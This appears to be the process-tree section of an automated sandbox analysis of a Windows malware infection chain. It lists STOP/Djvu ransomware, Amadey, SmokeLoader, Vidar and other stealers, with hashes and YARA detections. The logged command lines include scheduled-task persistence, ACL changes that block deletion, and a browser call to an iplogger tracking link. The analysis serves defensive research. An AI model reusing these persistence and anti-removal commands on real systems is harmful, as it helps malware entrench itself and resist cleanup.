Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:05:55
Start date:	13/10/2023
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\1917.dll
Imagebase:	0x340000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:05:56
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\C06.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C06.exe
Imagebase:	0x400000
File size:	767'488 bytes
MD5 hash:	C2AB34E22731EDA5D7BE4450C6D8360F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:05:58
Start date:	13/10/2023
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x610000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:05:59
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\C06.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\C06.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	767'488 bytes
MD5 hash:	C2AB34E22731EDA5D7BE4450C6D8360F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.2302460111.000000000217C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:06:00
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\374E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\374E.exe
Imagebase:	0xe00000
File size:	314'368 bytes
MD5 hash:	55F845C433E637594AAF872E41FDA207
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000000.2281454429.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000010.00000000.2281454429.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2288944842.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000010.00000002.2288944842.0000000000E01000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\374E.exe, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\374E.exe, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:06:00
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe"
Imagebase:	0x2c0000
File size:	314'368 bytes
MD5 hash:	55F845C433E637594AAF872E41FDA207
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000011.00000003.4056163306.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000011.00000002.4134687572.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000000.2288036934.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000011.00000000.2288036934.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000011.00000003.4056210973.0000000000B14000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000011.00000002.4134687572.0000000000B5C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey, Description: Yara detected Amadey bot, Source: 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.4132494620.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 00000011.00000002.4132494620.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	16:06:00
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe --Task
Imagebase:	0x400000
File size:	767'488 bytes
MD5 hash:	C2AB34E22731EDA5D7BE4450C6D8360F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000012.00000002.2324274477.0000000002277000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 54%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:06:01
Start date:	13/10/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe" /F
Imagebase:	0x300000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:06:01
Start date:	13/10/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:06:01
Start date:	13/10/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "yiueea.exe" /P "user:N"&&CACLS "yiueea.exe" /P "user:R" /E&&echo Y\|CACLS "..\577f58beff" /P "user:N"&&CACLS "..\577f58beff" /P "user:R" /E&&Exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:06:01
Start date:	13/10/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:06:01
Start date:	13/10/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:06:01
Start date:	13/10/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "yiueea.exe" /P "user:N"
Imagebase:	0xf50000
File size:	27'648 bytes
MD5 hash:	00BAAE10C69DAD58F169A3ED638D6C59
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:06:01
Start date:	13/10/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "yiueea.exe" /P "user:R" /E
Imagebase:	0xf50000
File size:	27'648 bytes
MD5 hash:	00BAAE10C69DAD58F169A3ED638D6C59
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:06:01
Start date:	13/10/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:06:01
Start date:	13/10/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\577f58beff" /P "user:N"
Imagebase:	0xf50000
File size:	27'648 bytes
MD5 hash:	00BAAE10C69DAD58F169A3ED638D6C59
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:06:02
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\C06.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\C06.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	767'488 bytes
MD5 hash:	C2AB34E22731EDA5D7BE4450C6D8360F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	16:06:02
Start date:	13/10/2023
Path:	C:\Windows\SysWOW64\cacls.exe
Wow64 process (32bit):	true
Commandline:	CACLS "..\577f58beff" /P "user:R" /E
Imagebase:	0xf50000
File size:	27'648 bytes
MD5 hash:	00BAAE10C69DAD58F169A3ED638D6C59
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:06:03
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe
Imagebase:	0x2c0000
File size:	314'368 bytes
MD5 hash:	55F845C433E637594AAF872E41FDA207
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000002.2313452873.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 0000001E.00000002.2313452873.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000000.2312516328.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: Windows_Trojan_Amadey_7abb059b, Description: unknown, Source: 0000001E.00000000.2312516328.00000000002C1000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:06:04
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe --Task
Imagebase:	0x400000
File size:	767'488 bytes
MD5 hash:	C2AB34E22731EDA5D7BE4450C6D8360F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	16:06:05
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\6545.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\6545.exe
Imagebase:	0x400000
File size:	244'224 bytes
MD5 hash:	86A01AD03723CC198298DBEA06A107D2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000020.00000002.2425606008.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000020.00000002.2425606008.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000020.00000002.2425763443.0000000002221000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000020.00000002.2425763443.0000000002221000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000020.00000002.2425306987.0000000000608000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000020.00000002.2425574337.00000000020A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000020.00000003.2372861867.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:06:10
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\9EB5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9EB5.exe
Imagebase:	0x400000
File size:	4'312'448 bytes
MD5 hash:	147DB15672E40DD06DB945C1086B3145
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:06:11
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart
Imagebase:	0x400000
File size:	767'488 bytes
MD5 hash:	C2AB34E22731EDA5D7BE4450C6D8360F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000022.00000002.2440436850.0000000002156000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:06:12
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe"
Imagebase:	0x400000
File size:	413'696 bytes
MD5 hash:	22F2FD94F57B71F36A31EA18BE7D4B34
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000023.00000002.2433596886.000000000255D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs Detection: 81%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:06:14
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\D900.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\D900.exe
Imagebase:	0x7ff77e0d0000
File size:	598'016 bytes
MD5 hash:	FF43AAE7083352DC2D8251C1E622C737
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 26%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	16:06:14
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe"
Imagebase:	0x400000
File size:	413'696 bytes
MD5 hash:	22F2FD94F57B71F36A31EA18BE7D4B34
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000026.00000002.2698187948.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000002.2702013439.0000000000537000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000002.2702013439.0000000000508000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:06:14
Start date:	13/10/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c tlatest.bat
Imagebase:	0x7ff6f7760000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:06:14
Start date:	13/10/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:06:15
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart
Imagebase:	0x400000
File size:	767'488 bytes
MD5 hash:	C2AB34E22731EDA5D7BE4450C6D8360F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:06:15
Start date:	13/10/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/2Xtsj4
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	16:06:15
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe
Imagebase:	0x7ff6fe5c0000
File size:	536'064 bytes
MD5 hash:	8D87A6A419052B5AB9E38574E0F8B9E2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	16:06:15
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe"
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000002C.00000002.2602223734.0000000002420000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000002C.00000002.2600617926.00000000008DD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs Detection: 82%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	16:06:16
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe
Imagebase:	0x7ff68db10000
File size:	380'416 bytes
MD5 hash:	7ACDC65B3D56FDE4FDF6D2BAD8E9F0CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	16:06:16
Start date:	13/10/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1904,i,6743762491447438880,8946520613085577941,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	16:06:17
Start date:	13/10/2023
Path:	C:\Users\user\AppData\Local\Temp\1CEF.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1CEF.exe
Imagebase:	0x790000
File size:	1'225'728 bytes
MD5 hash:	5B293206E810D2871736E1ECBD9CC196
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	16:06:17
Start date:	13/10/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

